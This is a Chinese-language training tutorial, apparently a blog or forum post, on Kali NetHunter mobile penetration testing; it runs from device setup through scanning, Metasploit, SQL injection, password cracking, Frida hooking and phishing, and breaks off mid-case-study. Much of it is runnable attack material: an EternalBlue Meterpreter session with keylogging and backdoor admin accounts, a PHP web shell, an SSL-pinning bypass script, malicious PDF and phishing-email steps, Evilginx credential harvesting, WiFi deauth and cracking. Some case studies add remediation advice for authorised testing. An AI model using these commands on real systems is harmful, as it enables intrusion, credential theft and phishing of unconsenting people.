Kali Linux NetHunter渗透测试实战培训大全从环境配置到高级应用手把手教你成为移动安全测试专家

威震华夏关云长

前言

在当今数字化时代，移动设备安全问题日益突出。作为一款基于Android系统的移动渗透测试平台，Kali Linux NetHunter将强大的Kali Linux工具集移植到了移动设备上，使安全研究人员和渗透测试工程师能够随时随地进行安全评估。本文将全面介绍Kali Linux NetHunter的方方面面，从基础环境配置到高级应用技巧，助您成为移动安全测试领域的专家。

1. Kali Linux NetHunter简介

1.1 什么是Kali Linux NetHunter

Kali Linux NetHunter是由Offensive Security开发的一款基于Android的开源移动渗透测试平台。它将完整的Kali Linux工具集移植到移动设备上，并专门针对移动设备安全测试进行了优化。NetHunter支持多种Android设备，包括手机、平板电脑，甚至一些Chromebook。

1.2 NetHunter的主要特点

• 完整的Kali工具集：包含数百种渗透测试工具
• 自定义内核：支持802.11无线注入和USB HID攻击
• 便携性：将强大的渗透测试平台装入口袋
• 多设备支持：支持多种Android设备和架构
• 易于使用的界面：提供直观的图形界面和命令行工具
• 社区支持：拥有活跃的社区和持续的更新

1.3 适用场景

• 无线网络渗透测试
• 移动应用安全评估
• 网络服务安全测试
• 社会工程学演练
• 应急响应和数字取证
• 安全意识培训

2. 环境配置

2.1 系统要求

在开始安装NetHunter之前，需要确保您的设备满足以下基本要求：

• 支持的Android设备（完整列表可在NetHunter官网查询）
• Android系统版本5.0或更高
• 至少4GB的可用存储空间
• 设备需要已解锁Bootloader并安装了自定义恢复（如TWRP）
• 建议设备电池电量充足或连接电源

2.2 准备工作

以Nexus设备为例，解锁Bootloader的步骤如下：

2. # 1. 启用开发者选项和USB调试
3. # 在设备上：设置 > 关于手机 > 连续点击"版本号"7次
5. # 2. 在电脑上安装ADB和Fastboot
6. # 在Linux系统上：
7. sudo apt update
8. sudo apt install android-tools-adb android-tools-fastboot
10. # 3. 连接设备并验证
11. adb devices
13. # 4. 重启到Bootloader
14. adb reboot bootloader
16. # 5. 解锁Bootloader（注意：此操作会清除设备上的所有数据）
17. fastboot oem unlock
18. # 或者在较新设备上：
19. fastboot flashing unlock
21. # 6. 确认解锁并重启设备
22. fastboot reboot

复制代码

以TWRP为例：

2. # 1. 下载适用于您设备的TWRP镜像文件
3. # 例如：wget https://dl.twrp.me/nexus6/twrp-3.3.1-0-shamu.img
5. # 2. 重启到Bootloader
6. adb reboot bootloader
8. # 3. 刷入TWRP
9. fastboot flash recovery twrp-3.3.1-0-shamu.img
11. # 4. 重启到Recovery模式（不要直接重启系统）
12. fastboot reboot recovery

复制代码

2.3 安装Kali NetHunter

访问NetHunter官方网站（https://www.kali.org/get-kali/#kali-mobile）下载适用于您设备的NetHunter镜像文件。通常需要下载以下文件：

• NetHunter ROM（适用于您的设备）
• NetHunter应用程序包
• 可选的NetHunter内核（如果需要）

2. # 1. 将下载的文件推送到设备
3. adb push nethunter-*.zip /sdcard/
4. adb push nethunter-kernel-*.zip /sdcard/
6. # 2. 重启到TWRP恢复模式
7. adb reboot recovery
9. # 3. 在TWRP界面中：
10. # - 选择"Install"
11. # - 浏览并选择NetHunter ROM文件
12. # - 滑动确认安装
13. # - （可选）返回并选择NetHunter内核文件
14. # - 滑动确认安装
15. # - 重启系统

复制代码

2.4 初始设置

安装完成后，在设备的应用程序抽屉中找到并启动NetHunter应用。首次启动时，系统会进行初始化设置。

NetHunter使用chroot技术来运行Kali Linux环境。首次启动时，需要配置chroot环境：

2. # 在NetHunter终端中：
3. # 1. 启动Kali服务
4. nh kservices start
6. # 2. 更新软件包列表
7. apt update
9. # 3. 升级已安装的软件包
10. apt upgrade -y
12. # 4. 安装额外的工具（可选）
13. apt install -y metasploit-framework sqlmap nmap

复制代码

NetHunter支持多种网络配置方式：

2. # 1. 启用SSH服务（允许远程连接）
3. service ssh start
5. # 2. 设置SSH开机自启
6. update-rc.d ssh enable
8. # 3. 配置VNC服务（用于图形界面访问）
9. apt install -y tightvncserver
10. vncserver :1 -geometry 1280x720 -depth 24

复制代码

3. 基础功能和工具使用

3.1 NetHunter界面介绍

NetHunter提供了直观的用户界面，主要包括以下几个部分：

• 主屏幕：显示系统状态和快速访问常用功能
• Kali Services：管理Kali Linux服务
• NetHunter App：核心应用程序，提供各种工具和功能
• HID Attacks：USB HID攻击功能
• MANA Evil Portal：恶意门户攻击
• MAC Changer：MAC地址修改工具
• NetHunter Terminal：终端应用

3.2 基本命令和操作

2. # 启动Kali环境
3. nh kservice start
5. # 进入Kali shell
6. nh shell
8. # 基本Linux命令
9. ls -la      # 列出文件和目录
10. cd /path    # 切换目录
11. pwd         # 显示当前目录
12. cp file1 file2  # 复制文件
13. mv file1 file2  # 移动/重命名文件
14. rm file     # 删除文件
15. mkdir dir   # 创建目录
16. rmdir dir   # 删除空目录
17. rm -rf dir  # 强制删除目录及其内容
19. # 权限管理
20. chmod 755 file    # 修改文件权限
21. chown user:group file  # 修改文件所有者

复制代码

2. # 更新软件包列表
3. apt update
5. # 升级所有软件包
6. apt upgrade -y
8. # 安装新软件包
9. apt install -y package_name
11. # 搜索软件包
12. apt search keyword
14. # 查看软件包信息
15. apt show package_name
17. # 卸载软件包
18. apt remove package_name
20. # 清理不需要的软件包
21. apt autoremove -y

复制代码

3.3 网络扫描与枚举

2. # 安装Nmap
3. apt install -y nmap
5. # 基本端口扫描
6. nmap target_ip
8. # 全面扫描（所有端口，服务版本检测，OS检测）
9. nmap -p- -sV -O target_ip
11. # 扫描特定端口
12. nmap -p 22,80,443 target_ip
14. # TCP SYN扫描（半开放扫描）
15. nmap -sS target_ip
17. # UDP扫描
18. nmap -sU target_ip
20. # 扫描整个网络
21. nmap 192.168.1.0/24
23. # 保存扫描结果
24. nmap -oN scan_results.txt target_ip

复制代码

2. # 安装Netdiscover
3. apt install -y netdiscover
5. # 主动扫描网络
6. netdiscover -r 192.168.1.0/24
8. # 被动模式（监听ARP请求）
9. netdiscover -p

复制代码

3.4 无线网络渗透测试

2. # 检查无线接口
3. airmon-ng
5. # 启动监控模式（假设无线接口为wlan0）
6. airmon-ng start wlan0
8. # 验证监控模式接口（通常为wlan0mon）
9. iwconfig

复制代码

2. # 扫描附近的无线网络
3. airodump-ng wlan0mon
5. # 针对特定网络捕获数据包
6. airodump-ng --bssid [目标AP的MAC地址] -c [频道] -w capture wlan0mon
8. # 捕获WPS握手包
9. airodump-ng --bssid [目标AP的MAC地址] -c [频道] --wps capture wlan0mon

复制代码

2. # 安装Reaver
3. apt install -y reaver
5. # 对目标AP进行WPS攻击
6. reaver -i wlan0mon -b [目标AP的MAC地址] -c [频道] -vv
8. # 使用Pixie Dust攻击（更快但成功率较低）
9. reaver -i wlan0mon -b [目标AP的MAC地址] -c [频道] -K 1 -vv

复制代码

3.5 漏洞扫描

2. # 下载Nessus（需要从官方网站下载适合ARM架构的版本）
3. wget https://www.tenable.com/downloads/nessus?loginAttempted=true
5. # 安装Nessus
6. dpkg -i Nessus-*.deb
8. # 启动Nessus服务
9. /etc/init.d/nessusd start
11. # 访问Web界面（https://localhost:8834）进行初始配置

复制代码

2. # 安装OpenVAS
3. apt install -y openvas
5. # 初始化OpenVAS
6. gvm-setup
8. # 启动OpenVAS服务
9. gvm-start
11. # 访问Web界面（https://localhost:9392）进行扫描

复制代码

4. 中级渗透测试技术

4.1 Metasploit Framework使用

2. # 安装Metasploit Framework
3. apt install -y metasploit-framework
5. # 初始化数据库
6. msfdb init
8. # 启动Metasploit控制台
9. msfconsole

复制代码

2. # 在msfconsole中：
4. # 搜索模块
5. search [关键词]
7. # 使用特定模块
8. use [模块路径]
10. # 查看模块选项
11. show options
13. # 设置选项
14. set [选项名] [值]
16. # 设置目标
17. set RHOSTS [目标IP]
19. # 运行模块
20. run 或 exploit
22. # 查看会话
23. sessions -l
25. # 与会话交互
26. sessions -i [会话ID]
28. # 后台当前会话
29. background
31. # 退出Metasploit
32. exit

复制代码

2. # 启动Metasploit
3. msfconsole
5. # 搜索相关模块
6. search eternalblue
8. # 使用该模块
9. use exploit/windows/smb/ms17_010_eternalblue
11. # 查看模块选项
12. show options
14. # 设置目标
15. set RHOSTS 192.168.1.100
17. # 设置载荷
18. set payload windows/x64/meterpreter/reverse_tcp
20. # 设置监听主机（即您的IP）
21. set LHOST 192.168.1.50
23. # 运行攻击
24. exploit
26. # 如果成功，您将获得一个Meterpreter会话
27. # 在Meterpreter会话中，您可以执行以下命令：
29. # 获取系统信息
30. sysinfo
32. # 获取用户信息
33. getuid
35. # 提升权限（如果可能）
36. getsystem
38. # 查看进程
39. ps
41. # 迁移到更稳定的进程
42. migrate [进程ID]
44. # 访问文件系统
45. ls
46. cd [目录路径]
47. download [远程文件] [本地路径]
48. upload [本地文件] [远程路径]
50. # 启动键盘记录
51. keyscan_start
53. # 停止键盘记录并查看结果
54. keyscan_stop
55. keyscan_dump
57. # 截取屏幕
58. screenshot
60. # 获取桌面
61. desktop
63. # 创建新用户
64. net user [用户名] [密码] /add
66. # 将用户添加到管理员组
67. net localgroup administrators [用户名] /add
69. # 启用远程桌面
70. reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
72. # 退出Meterpreter会话
73. exit

复制代码

4.2 Web应用渗透测试

2. # 安装SQLMap
3. apt install -y sqlmap
5. # 基本SQL注入测试
6. sqlmap -u "http://example.com/page.php?id=1"
8. # 指定数据库类型
9. sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql
11. # 获取所有数据库
12. sqlmap -u "http://example.com/page.php?id=1" --dbs
14. # 获取指定数据库的表
15. sqlmap -u "http://example.com/page.php?id=1" -D [数据库名] --tables
17. # 获取指定表的内容
18. sqlmap -u "http://example.com/page.php?id=1" -D [数据库名] -T [表名] --dump
20. # 使用POST请求
21. sqlmap -u "http://example.com/login.php" --data="username=admin&password=pass"
23. # 使用Cookie
24. sqlmap -u "http://example.com/page.php?id=1" --cookie="PHPSESSID=abcdef123456"
26. # 使用User-Agent
27. sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1)"
29. # 设置风险级别
30. sqlmap -u "http://example.com/page.php?id=1" --risk=3
32. # 设置技术等级
33. sqlmap -u "http://example.com/page.php?id=1" --level=5
35. # 绕过WAF
36. sqlmap -u "http://example.com/page.php?id=1" --tamper=space2comment
38. # 延迟请求避免检测
39. sqlmap -u "http://example.com/page.php?id=1" --delay=2
41. # 保存输出到文件
42. sqlmap -u "http://example.com/page.php?id=1" -output-dir=/path/to/output

复制代码

2. # 安装Burp Suite
3. # 首先，需要安装Java运行时环境
4. apt install -y default-jre
6. # 下载Burp Suite Community Edition
7. wget -O burpsuite_community.jar https://portswigger.net/burp/releases/download?product=community&version=2023.2.1&type=jar
9. # 运行Burp Suite
10. java -jar burpsuite_community.jar
12. # 配置浏览器代理
13. # 在浏览器中设置代理为127.0.0.1:8080
15. # 在Burp Suite中：
16. # 1. Proxy选项卡 > Intercept > 打开 Intercept
17. # 2. 浏览器访问目标网站，Burp将捕获请求
18. # 3. 可以修改请求后转发或丢弃
19. # 4. 使用Spider功能自动爬取网站
20. # 5. 使用Scanner功能自动扫描漏洞
21. # 6. 使用Intruder功能进行暴力破解和模糊测试
22. # 7. 使用Repeater功能手动重放和修改请求

复制代码

2. # 安装Nikto
3. apt install -y nikto
5. # 基本扫描
6. nikto -h http://example.com
8. # 使用特定端口
9. nikto -h http://example.com -p 8080
11. # 使用SSL
12. nikto -h https://example.com -ssl
14. # 指定输出格式
15. nikto -h http://example.com -format txt -output scan_results.txt
17. # 使用代理
18. nikto -h http://example.com -useproxy http://proxy:port
20. # 设置用户代理
21. nikto -h http://example.com -useragent "Mozilla/5.0"
23. # 跟过重定向
24. nikto -h http://example.com -follow 1
26. # 扫描特定漏洞
27. nikto -h http://example.com -Tuning 1

复制代码

4.3 密码攻击

2. # 安装John the Ripper
3. apt install -y john
5. # 基本密码破解（针对密码哈希）
6. john password_hashes.txt
8. # 指定密码格式
9. john --format=md5 password_hashes.txt
11. # 使用字典攻击
12. john --wordlist=/usr/share/wordlists/rockyou.txt password_hashes.txt
14. # 显示已破解的密码
15. john --show password_hashes.txt
17. # 增量模式（暴力破解）
18. john --incremental password_hashes.txt
20. # 自定义字符集
21. john --incremental:alnum password_hashes.txt
23. # 使用规则进行变形
24. john --wordlist=/usr/share/wordlists/rockyou.txt --rules password_hashes.txt

复制代码

2. # 安装Hashcat
3. apt install -y hashcat
5. # 基本密码破解
6. hashcat -m 0 -a 0 hash.txt wordlist.txt
8. # 指定哈希类型（-m参数）
9. # 常见哈希类型：
10. # 0 = MD5
11. # 100 = SHA1
12. # 1400 = SHA256
13. # 1700 = SHA512
14. # 1800 = SHA512(Unix)
15. # 3200 = bcrypt
16. # 9400 = NTLM
18. # 例如，破解SHA256哈希
19. hashcat -m 1400 -a 0 sha256_hashes.txt wordlist.txt
21. # 暴力破解模式
22. hashcat -m 0 -a 3 hash.txt ?l?l?l?l?l?l
24. # 掩码攻击（已知部分密码）
25. hashcat -m 0 -a 3 hash.txt known?d?d?d
27. # 组合攻击（使用多个字典）
28. hashcat -m 0 -a 1 hash.txt dict1.txt dict2.txt
30. # 显示已破解的密码
31. hashcat --show hash.txt
33. # 恢复中断的会话
34. hashcat --session session_name --restore

复制代码

2. # 安装Hydra
3. apt install -y hydra
5. # SSH暴力破解
6. hydra -L users.txt -P passwords.txt ssh://target_ip
8. # FTP暴力破解
9. hydra -L users.txt -P passwords.txt ftp://target_ip
11. # Web表单暴力破解
12. hydra -L users.txt -P passwords.txt target_ip http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
14. # 使用代理
15. hydra -L users.txt -P passwords.txt -M targets.txt ssh
17. # 设置线程数
18. hydra -t 16 -L users.txt -P passwords.txt ssh://target_ip
20. # 设置超时时间
21. hydra -w 30 -L users.txt -P passwords.txt ssh://target_ip
23. # 显示详细输出
24. hydra -V -L users.txt -P passwords.txt ssh://target_ip
26. # 保存结果到文件
27. hydra -o results.txt -L users.txt -P passwords.txt ssh://target_ip

复制代码

5. 高级应用和场景

5.1 移动应用渗透测试

2. # 安装MobSF (Mobile Security Framework)
3. # 首先，安装Docker
4. apt install -y docker.io
6. # 启动Docker服务
7. systemctl start docker
8. systemctl enable docker
10. # 下载MobSF Docker镜像
11. docker pull opensecurity/mobile-security-framework-mobsf
13. # 运行MobSF容器
14. docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
16. # 访问Web界面 (http://localhost:8000) 上传APK/IPA文件进行分析

复制代码

2. # 安装Drozer
3. apt install -y drozer
5. # 启动Drozer服务器
6. drozer server start
8. # 在Android设备上安装Drozer Agent
9. # 下载Drozer Agent APK并安装到Android设备
11. # 在设备上启动Drozer Agent并启用"Embedded Server"
13. # 连接到Drozer服务器
14. drozer console connect
16. # 在Drozer控制台中：
18. # 列出已安装的包
19. dz> run app.package.list
21. # 获取应用信息
22. dz> run app.package.info -a com.example.app
24. # 查看应用攻击面
25. dz> run app.package.attacksurface com.example.app
27. # 列出导出的活动
28. dz> run app.activity.info -a com.example.app
30. # 启动导出的活动
31. dz> run app.activity.start --component com.example.app com.example.app.MainActivity
33. # 列出内容提供者
34. dz> run app.provider.info -a com.example.app
36. # 扫描SQL注入漏洞
37. dz> run scanner.provider.injection -a com.example.app
39. # 扫描目录遍历漏洞
40. dz> run scanner.provider.traversal -a com.example.app
42. # 列出服务
43. dz> run app.service.info -a com.example.app
45. # 列出广播接收器
46. dz> run app.receiver.info -a com.example.app

复制代码

2. # 安装Frida
3. pip install frida-tools
5. # 在Android设备上安装Frida Server
6. # 下载适用于设备架构的Frida Server
7. adb push frida-server /data/local/tmp/
8. adb shell "chmod +x /data/local/tmp/frida-server"
9. adb shell "/data/local/tmp/frida-server &"
11. # 检查Frida是否正常运行
12. frida-ps -U
14. # 使用Frida脚本Hook方法
15. # 创建一个JavaScript脚本，例如hook.js：
16. /*
17. console.log("Script loaded successfully");
19. Java.perform(function() {
20.     var MainActivity = Java.use("com.example.app.MainActivity");
21.    
22.     MainActivity.onClick.implementation = function(v) {
23.         console.log("onClick called");
24.         console.log("Arguments: " + v);
25.         
26.         // 调用原始方法
27.         this.onClick(v);
28.         
29.         // 修改返回值或执行其他操作
30.     }
31. });
32. */
34. # 运行Frida脚本
35. frida -U -l hook.js -f com.example.app
37. # 使用Frida跟踪方法调用
38. frida-trace -U -i "Java.*" com.example.app
40. # 使用Frida拦截SSL证书验证
41. # 创建一个ssl_pinning_bypass.js脚本：
42. /*
43. setTimeout(function() {
44.     Java.perform(function() {
45.         console.log("");
46.         console.log("[.] SSL Pinning Bypass/Re-Pinning");
47.         
48.         var CertificateFactory = Java.use("java.security.cert.CertificateFactory");
49.         var FileInputStream = Java.use("java.io.FileInputStream");
50.         var BufferedInputStream = Java.use("java.io.BufferedInputStream");
51.         var X509Certificate = Java.use("java.security.cert.X509Certificate");
52.         var KeyStore = Java.use("java.security.KeyStore");
53.         var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory");
54.         var SSLContext = Java.use("javax.net.ssl.SSLContext");
55.         
56.         // Load CAs from an InputStream
57.         console.log("[+] Loading CAs...");
58.         var cf = CertificateFactory.getInstance("X.509");
59.         
60.         try {
61.             var fileInputStream = FileInputStream.$new("/system/etc/security/cacerts/bks");
62.         } catch (err) {
63.             console.log(err);
64.             console.log("[+] Using alternative CA...");
65.             var fileInputStream = FileInputStream.$new("/system/etc/security/cacerts");
66.         }
67.         
68.         var bufferedInputStream = BufferedInputStream.$new(fileInputStream);
69.         var ca = cf.generateCertificate(bufferedInputStream);
70.         bufferedInputStream.close();
71.         
72.         var certArray = Java.array("java.security.cert.X509Certificate", [ca]);
73.         console.log("[+] Our CA: " + ca.getSubjectDN());
74.         
75.         // Create a KeyStore containing our trusted CAs
76.         console.log("[+] Creating a KeyStore for our CA...");
77.         var keyStoreType = KeyStore.getDefaultType();
78.         var keyStore = KeyStore.getInstance(keyStoreType);
79.         keyStore.load(null, null);
80.         keyStore.setCertificateEntry("ca", ca);
81.         
82.         // Create a TrustManager that trusts the CAs in our KeyStore
83.         console.log("[+] Creating a TrustManager that trusts the CA in our KeyStore...");
84.         var tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
85.         var tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
86.         tmf.init(keyStore);
87.         
88.         console.log("[+] Our TrustManager is ready...");
89.         
90.         console.log("[+] Hijacking SSLContext methods now...");
91.         console.log("[-] Waiting for the app to invoke SSLContext.init()...");
92.         
93.         SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(keyManager, trustManager, secureRandom) {
94.             console.log("[+] App invoked SSLContext.init()...");
95.             console.log("[+] Hijacking TrustManagers...");
96.             SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").call(this, keyManager, tmf.getTrustManagers(), secureRandom);
97.             console.log("[+] Our TrustManagers are initialized.");
98.         };
99.         
100.         console.log("[+] SSL Pinning Bypass is ready.");
101.     });
102. }, 0);
103. */
105. # 运行SSL Pinning绕过脚本
106. frida -U -l ssl_pinning_bypass.js -f com.example.app --no-pause

复制代码

5.2 社会工程学攻击

2. # 安装SET
3. apt install -y set
5. # 启动SET
6. setoolkit
8. # 在SET菜单中选择：
10. # 1) Social-Engineering Attacks
11. # 2) Website Attack Vectors
12. # 3) Credential Harvester Attack Method
13. # 4) Site Cloner
14. # 然后输入要克隆的网站URL和您的IP地址
16. # 或者使用命令行选项：
17. setoolkit --website-attack
18. setoolkit --webattack
19. setoolkit --webattack harvester
20. setoolkit --webattack harvester site-clone

复制代码

2. # 启动Metasploit
3. msfconsole
5. # 使用社会工程学模块
6. use exploit/multi/fileformat/adobe_pdf_embedded_exe_nojs
8. # 设置选项
9. set FILENAME document.pdf
10. set INFILENAME /usr/share/doc/adobe-pdf/embedded_exe.pdf
11. set EXENAME payload.exe
12. set OUTPUTPATH /root/
14. # 生成恶意PDF文件
15. exploit
17. # 或者使用钓鱼攻击模块
18. use auxiliary/spoof/email/send_email
20. # 设置选项
21. set FROM security@company.com
22. set TO target@example.com
23. set SUBJECT "Important Security Update"
24. set BODY "Please open the attached document for important security updates."
25. set ATTACHMENT /root/document.pdf
27. # 发送钓鱼邮件
28. exploit

复制代码

2. # 安装Evilginx
3. # 首先，安装Go
4. apt install -y golang
6. # 设置Go环境变量
7. export GOPATH=$HOME/go
8. export PATH=$PATH:$GOPATH/bin
10. # 安装Evilginx
11. go install github.com/kgretzky/evilginx@latest
13. # 创建配置目录
14. mkdir -p ~/.evilginx
16. # 下载示例配置
17. wget https://raw.githubusercontent.com/kgretzky/evilginx/master/samples/phishlets/linkedin.yaml -O ~/.evilginx/linkedin.yaml
19. # 启动Evilginx
20. evilginx
22. # 在Evilginx控制台中：
24. # 配置域名
25. config domain evil.example.com
27. # 加载钓鱼页面
28. phishlets hostname linkedin evil.example.com
30. # 启动钓鱼页面
31. phishlets enable linkedin
33. # 查看会话
34. sessions
36. # 获取捕获的凭证
37. sessions [session_id]

复制代码

5.3 网络流量分析

2. # 安装Wireshark
3. apt install -y wireshark
5. # 启动Wireshark图形界面
6. wireshark
8. # 或者使用tshark命令行工具
9. # 安装tshark
10. apt install -y tshark
12. # 捕获所有网络接口上的流量
13. tshark -i any
15. # 捕获特定接口上的流量
16. tshark -i wlan0
18. # 捕获特定端口的流量
19. tshark -i wlan0 -f "port 80 or port 443"
21. # 保存捕获的数据包到文件
22. tshark -i wlan0 -w capture.pcap
24. # 读取保存的数据包文件
25. tshark -r capture.pcap
27. # 显示捕获的数据包的详细信息
28. tshark -V -r capture.pcap
30. # 过滤特定协议的数据包
31. tshark -r capture.pcap -Y "http"
33. # 提取HTTP请求
34. tshark -r capture.pcap -Y "http.request" -T fields -e http.request.uri
36. # 提取HTTP响应
37. tshark -r capture.pcap -Y "http.response" -T fields -e http.response.code
39. # 提取DNS查询
40. tshark -r capture.pcap -Y "dns" -T fields -e dns.qry.name
42. # 统计流量
43. tshark -r capture.pcap -q -z io,stat,1

复制代码

2. # 安装tcpdump
3. apt install -y tcpdump
5. # 捕获所有网络接口上的流量
6. tcpdump -i any
8. # 捕获特定接口上的流量
9. tcpdump -i wlan0
11. # 捕获特定数量的数据包
12. tcpdump -c 100 -i wlan0
14. # 捕获特定端口的流量
15. tcpdump -i wlan0 port 80
17. # 捕获特定主机的流量
18. tcpdump -i wlan0 host 192.168.1.100
20. # 捕获特定协议的流量
21. tcpdump -i wlan0 icmp
23. # 保存捕获的数据包到文件
24. tcpdump -i wlan0 -w capture.pcap
26. # 读取保存的数据包文件
27. tcpdump -r capture.pcap
29. # 显示数据包的十六进制和ASCII内容
30. tcpdump -i wlan0 -X
32. # 显示数据包的详细信息
33. tcpdump -i wlan0 -v
35. # 过滤特定源IP的流量
36. tcpdump -i wlan0 src 192.168.1.100
38. # 过滤特定目的IP的流量
39. tcpdump -i wlan0 dst 192.168.1.100
41. # 过滤特定源端口的流量
42. tcpdump -i wlan0 src port 80
44. # 过滤特定目的端口的流量
45. tcpdump -i wlan0 dst port 80
47. # 组合过滤条件
48. tcpdump -i wlan0 src 192.168.1.100 and dst port 80

复制代码

2. # 安装NetworkMiner（需要Mono运行时环境）
3. # 首先，安装Mono
4. apt install -y mono-complete
6. # 下载NetworkMiner
7. wget https://www.netresec.com/?download=NetworkMiner
9. # 解压NetworkMiner
10. unzip NetworkMiner_*_*.zip
12. # 运行NetworkMiner
13. mono NetworkMiner.exe
15. # 在NetworkMiner中：
16. # 1. 打开捕获的数据包文件（File > Open PCAP file）
17. # 2. 查看提取的文件（Files选项卡）
18. # 3. 查看主机信息（Hosts选项卡）
19. # 4. 查看会话信息（Sessions选项卡）
20. # 5. 查看凭证信息（Credentials选项卡）
21. # 6. 查看DNS查询（DNS选项卡）
22. # 7. 查看消息（Messages选项卡）

复制代码

6. 实战案例

6.1 无线网络渗透测试案例

某公司要求对其办公区域的无线网络进行安全评估，以检测潜在的安全漏洞和风险。

2. # 1. 信息收集
3. # 启动无线网卡监控模式
4. airmon-ng start wlan0
6. # 扫描周围的无线网络
7. airodump-ng wlan0mon
9. # 记录目标网络信息：
10. # - ESSID: Company_WiFi
11. # - BSSID: 00:11:22:33:44:55
12. # - 频道: 6
13. # - 加密: WPA2
15. # 2. 捕获握手包
16. # 针对目标网络捕获数据包
17. airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w capture wlan0mon
19. # 在另一个终端，进行去认证攻击以加速握手包捕获
20. aireplay-ng --deauth 10 -a 00:11:22:33:44:55 wlan0mon
22. # 3. 密码破解
23. # 使用字典攻击破解WPA2密码
24. aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
26. # 4. WPS攻击
27. # 检查目标网络是否启用WPS
28. wash -i wlan0mon
30. # 如果启用WPS，使用Reaver进行攻击
31. reaver -i wlan0mon -b 00:11:22:33:44:55 -c 6 -vv
33. # 5. 连接到网络并进行内部测试
34. # 连接到网络
35. nmcli dev wifi connect Company_WiFi password cracked_password
37. # 扫描内部网络
38. nmap -sn 192.168.1.0/24
40. # 对发现的设备进行端口扫描
41. nmap -sV -O 192.168.1.1-100
43. # 6. 生成报告
44. # 将所有发现和结果整理成报告

复制代码

通过测试发现以下安全问题：

1. WPA2密码较弱，容易被字典攻击破解
2. WPS功能启用，存在PIN码暴力破解风险
3. 内部网络设备存在未授权访问风险
4. 部分设备运行过时软件，存在已知漏洞

1. 更改无线网络密码为强密码（至少12位，包含大小写字母、数字和特殊字符）
2. 禁用WPS功能
3. 实施网络隔离，将访客网络与内部网络分离
4. 定期更新设备固件和软件
5. 实施网络访问控制（NAC）解决方案

6.2 Web应用渗透测试案例

某电子商务公司要求对其网站进行安全评估，以检测潜在的安全漏洞和风险。

2. # 1. 信息收集
3. # 使用Nmap扫描目标服务器
4. nmap -sV -O -p- 192.168.1.100
6. # 使用DirBuster扫描目录和文件
7. dirb http://example.com
9. # 使用WhatWeb识别技术栈
10. whatweb http://example.com
12. # 2. 漏洞扫描
13. # 使用Nikto扫描Web服务器
14. nikto -h http://example.com
16. # 使用SQLMap扫描SQL注入漏洞
17. sqlmap -u "http://example.com/product.php?id=1" --batch --level=5 --risk=3
19. # 使用OWASP ZAP进行自动化扫描
20. # 启动OWASP ZAP
21. zap.sh
23. # 配置浏览器代理为127.0.0.1:8080
24. # 浏览目标网站
25. # 在ZAP中执行自动扫描
27. # 3. 手动测试
28. # 测试XSS漏洞
29. # 在搜索框中输入：<script>alert('XSS')</script>
31. # 测试文件上传漏洞
32. # 尝试上传PHP Web Shell
33. <?php system($_GET['cmd']); ?>
35. # 测试权限绕过
36. # 尝试访问管理页面：http://example.com/admin
37. # 尝试常见凭据：admin/admin, admin/password, admin/123456
39. # 4. 利用漏洞
40. # 如果发现SQL注入，使用SQLMap获取数据
41. sqlmap -u "http://example.com/product.php?id=1" --dbs
42. sqlmap -u "http://example.com/product.php?id=1" -D db_name --tables
43. sqlmap -u "http://example.com/product.php?id=1" -D db_name -T users --dump
45. # 如果发现文件上传漏洞，尝试获取Web Shell
46. # 上传Web Shell后访问：
47. http://example.com/uploads/shell.php?cmd=id
49. # 尝试提权
50. # 使用LinEnum.sh脚本进行信息收集
51. wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
52. chmod +x LinEnum.sh
53. ./LinEnum.sh
55. # 5. 生成报告
56. # 将所有发现和结果整理成报告

复制代码

通过测试发现以下安全问题：

1. 存在SQL注入漏洞，可能导致数据库信息泄露
2. 存在存储型XSS漏洞，可能导致用户会话劫持
3. 文件上传功能存在安全限制绕过，可能导致远程代码执行
4. 管理面板存在弱密码，可能导致未授权访问
5. 服务器配置不当，存在信息泄露风险

1. 实施输入验证和参数化查询，防止SQL注入攻击
2. 实施输出编码，防止XSS攻击
3. 加强文件上传功能的安全限制，检查文件类型和内容
4. 实施强密码策略和多因素认证
5. 定期进行安全配置审查和漏洞扫描

6.3 移动应用渗透测试案例

某金融公司要求对其Android应用进行安全评估，以检测潜在的安全漏洞和风险。

2. # 1. 应用静态分析
3. # 使用MobSF分析APK文件
4. # 启动MobSF
5. docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
7. # 上传APK文件进行分析
9. # 使用Apktool反编译APK
10. apktool d app.apk
12. # 查看AndroidManifest.xml文件
13. cat app/AndroidManifest.xml
15. # 查看源代码
16. # 使用dex2jar将DEX文件转换为JAR
17. d2j-dex2jar app.apk
19. # 使用JD-GUI查看JAR文件
20. jd-gui app-dex2jar.jar
22. # 2. 应用动态分析
23. # 安装应用到Android设备
24. adb install app.apk
26. # 启动Drozer服务器
27. drozer server start
29. # 在Android设备上安装Drozer Agent
30. adb install drozer-agent.apk
32. # 连接到Drozer服务器
33. drozer console connect
35. # 列出已安装的包
36. dz> run app.package.list
38. # 获取应用信息
39. dz> run app.package.info -a com.company.app
41. # 查看应用攻击面
42. dz> run app.package.attacksurface com.company.app
44. # 列出导出的组件
45. dz> run app.activity.info -a com.company.app
46. dz> run app.provider.info -a com.company.app
47. dz> run app.service.info -a com.company.app
48. dz> run app.receiver.info -a com.company.app
50. # 测试SQL注入漏洞
51. dz> run scanner.provider.injection -a com.company.app
53. # 测试目录遍历漏洞
54. dz> run scanner.provider.traversal -a com.company.app
56. # 3. 网络流量分析
57. # 设置Burp Suite代理
58. # 在Android设备上配置Wi-Fi代理为Burp Suite的IP和端口
60. # 安装Burp Suite证书
61. # 在Android设备上访问 http://burp/cert 并安装证书
63. # 启动应用并观察网络流量
65. # 4. 使用Frida进行Hook
66. # 在Android设备上启动Frida Server
